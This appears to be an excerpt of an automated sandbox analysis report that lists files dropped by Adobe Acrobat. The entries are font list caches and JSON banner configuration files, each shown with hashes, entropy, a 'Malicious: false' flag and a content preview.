SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3000

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3000

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3464102029191265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJM3g98kUwPeUkwRe9:YvXKXqfZh0cla45GMbLUkee9
MD5:	384732771593492A4787BA06DE826027
SHA1:	BB738EC8BFE30B93BF3D8D2F6AB41500B7D9E54E
SHA-256:	E4F8A43F2BF4B65842650E8AFE1B5241CC34766F8EA9077B35E67116E06E62CA
SHA-512:	FC6A0E010AF4551F198FE277566B1DE7636BA42DB32586EBFFBD3F4CCBCAE78644C70FC81A20F74C25D31284F4DEA47D722671A01F14D3E654DAE8278FB603BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295759522971322
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfBoTfXpnrPeUkwRe9:YvXKXqfZh0cla45GWTfXcUkee9
MD5:	BE80496198CA78842855BEF920BD994E
SHA1:	2F8C88B307AE5ACBD49853C62D7F9E2200B85961
SHA-256:	1C41BB3BE24BE22285CF323CF47ECBB6510C41D1D7579159795DA05C07A40855
SHA-512:	A28FFBFA0E679940E00E7C68384DB954DCF423683220719A10E5B3D7C88C0E0FE1EB81A356B5D3C530EA165B10D5DF02ABDA37DCBB7D6BCFB331C7E12F826F7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274838987176284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfBD2G6UpnrPeUkwRe9:YvXKXqfZh0cla45GR22cUkee9
MD5:	C352937E5EB1B0849F9AE342735AC98F
SHA1:	133F557E288FA89651CD36871BB8AF5E3C01B5A8
SHA-256:	B2E29118DEF88C304A52E91853C2728E200501A65418EC5E93095D100F4A2E60
SHA-512:	CBD31A67E09954F58159A4876D26C586712B5E762A7E3286DAC5CD840DD956D75A0CA22B73D8CFB4175273BC73C615765EE9FEB95DC98612FE878B338BCBEACA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3258379300427805
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfPmwrPeUkwRe9:YvXKXqfZh0cla45GH56Ukee9
MD5:	969F218542D51CA7F55A35EBCE1E9ADC
SHA1:	2CD05E516F07478C05807FE1FA31188CA6F59187
SHA-256:	E6C6002B79B9BDDD83D051504EBD1A4CE3CBECDD396B3CA853251CEDF2AF4905
SHA-512:	25B782F093A2562172874BE9D30CB8115E3718954A2000F4E23D39980E56009CAF8ADCA33775AA7D142269DA4EF4EAD134615C5F77B7659210AB13710F651F56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687437310669538
Encrypted:	false
SSDEEP:	24:Yv6XMZlupLgE9cQx8LennAvzBvkn0RCmK8czOCCS3n:YvPuhgy6SAFv5Ah8cv/3
MD5:	CA61EC6E06B6F49666D9834424482E6D
SHA1:	E70919D60327F9D55A1C906F08B284C4A408857D
SHA-256:	0DD0AABACEABB94BAD4981346B0BA8DE878D694564055519F469C8390A652C9B
SHA-512:	777282BEEC8FF333C5CEF4E4B8C84E06A4E88CF580B6A7B85AE267D2FB3E91C39ACE985B9EB7C161FA0A4AC712702A4B9BF7ADD2CD532293D51259081F9E46F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276213048589553
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJf8dPeUkwRe9:YvXKXqfZh0cla45GU8Ukee9
MD5:	DC0B9185B3B67B4BFE6EEBFA4B97C79B
SHA1:	3A408F54B8BF560649AB21F6C148AFFF94A64CF5
SHA-256:	98ACE1EA501F34F22EF45D56ACEA1545FBBDB9ADFF5529E4FCC9B89DD14B15EE
SHA-512:	9FDC467BF09CF735A1A4CC19C6DA463D21754AAEB0D89713EAD925EFFBB4FD42DBB6E52527CD0D42272A9F45E01DACA8E6C17B0BFA4979F373CE89CC7BD65C91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.278574901542717
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfQ1rPeUkwRe9:YvXKXqfZh0cla45GY16Ukee9
MD5:	D4D402DF5F5DA4369ED51FA9FB9335CA
SHA1:	C8AC4FBF9C30B07E57774C8FA0909EBE0047DE19
SHA-256:	57D12309AC0F9227A229E57E9DD3F20403F4AD95AB7AC886DE4C0A40B44B21B5
SHA-512:	7D26BE1E47CDB563E2BF3678D4723A4938F9B39238A061726724690AA11EFA9EF4FDF0CD05FEC0C8267753B6DAB97C5E3BCD2B5C3FD8C5F79508607242264C43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2889640995063045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfFldPeUkwRe9:YvXKXqfZh0cla45Gz8Ukee9
MD5:	7CB5D71D9A86A02A9440390C55FA8C19
SHA1:	6B07DCC480930ED17A42FCF889778E1E4376C6F6
SHA-256:	1C1D18D3DC8616639615EE4B8DCFC6737770713F6D405BFA0F1DFD93A7D1F435
SHA-512:	2C86629DFA706BE04091E7CE9A0A6945BD2D64BEF9E0F858293D7F0A566F3A30FA3B3F878329412877F07A0C51A28C3F750C46A3B9ACA475519A7C6DB4FAE7FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.302844070683145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfzdPeUkwRe9:YvXKXqfZh0cla45Gb8Ukee9
MD5:	FB4D457868DBF3897AECF8A07ADFA342
SHA1:	5A2861E07C0D147D902AE9CD6E00C39F83D3D7D6
SHA-256:	7AA0C71ED628470B4A88B20C219A2901CBED532CAD90BFE36B14B7855BA2C046
SHA-512:	30F8E532711A68144EA60816929A4477FE498145715D6B5A53A21FE56F3F1147D784D4AF97B9E9A0CA45124EB8262AFE6E4A604872BF744074B7289AC9254C89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283144847015958
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfYdPeUkwRe9:YvXKXqfZh0cla45Gg8Ukee9
MD5:	562A5704D640EAA8E4FB9799E50C68D5
SHA1:	A0959BFDFE8907436C466CC9A2F642C58B3E7C66
SHA-256:	AB8E07D88D2F4AA4DED12F7739D0C29E910BF4B71EECB972771785F73738B278
SHA-512:	6026A605BCA89B3C67EB08ABB5BCFD40EA05A4CC584C29EC79C19884E40B78844558B0C86574C6368B1FA110F80679F39F4CEF83D3DEF76E73E687F68A0C4E9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.269747315177364
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJf+dPeUkwRe9:YvXKXqfZh0cla45G28Ukee9
MD5:	3F66BE864AA0755A22941FC66205853F
SHA1:	88D8AAD08A3283CA909ABD16640DA504AE05B271
SHA-256:	1D46A6DDF13ADF079769521BF0DCCBF8DBFE3CA8EE02A7AD92C3310D45EFC9EB
SHA-512:	565C0D214BD9EBBFA99535EB268ADA4458BF23EB11F8BA946D26467EDCF99C89665D9D19204127F3ADC6085E610122E4838E9D350B97590647BCF1D00234BA59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.266807787665656
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfbPtdPeUkwRe9:YvXKXqfZh0cla45GDV8Ukee9
MD5:	C98A878F566EC52B0D89933399BF6D3F
SHA1:	CDE65493DFAE487C9CF5E6CF4367034326B410DA
SHA-256:	8E2515EE8C235F79EACEE997B70F74EF24E1172F195E0F398F1471886CB1075C
SHA-512:	340403E14C9D2EC5B1FE235E7298F09D70F00A3F636E35C4C0D540BE241AD4937BC0239BDC67BA7FD053C779B8A4D5F2CF4DE8DA50CBD0332A3CA49ADB0E7AF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.269955807491313
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJf21rPeUkwRe9:YvXKXqfZh0cla45G+16Ukee9
MD5:	88DEFF6E6FFACC3238365279EF7EE172
SHA1:	9675EE87D4D71AF175131E284EFDD4B08A0569E2
SHA-256:	469794669DFD3A9DF122DD1E828A298DFEB8DDC29D612B9AB755824C139047EB
SHA-512:	77C4C835E57A0A6FE891500813C9721BC24697F8BCE1E91924730BECB254EC51B339A0C5E587DC5AE99FE7C388AA6A5963DA027BF06860CB6FB93B82B2C64ED4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661136509920301
Encrypted:	false
SSDEEP:	24:Yv6XMZlyamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3n:YvPMBgkDMUJUAh8cvM3
MD5:	DB9C23EB4C6FBDF34F2C896EFA68F478
SHA1:	BE761CD4D0AE8AB9C08805A5078F9E5ABE351DE5
SHA-256:	D22DA787FFDDD8F1267D363675B6BFA4E8B3E247803D682C6B29AA12D6B61297
SHA-512:	2B2513023AD97098253DEA788D69421463C6B26D89C3AD90022E7DE47CE0C306EEA64DCC5FCE29BBE643DDD9ED9ECB55CBA8083CEB2C29BDE0C6D945329BEEDB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 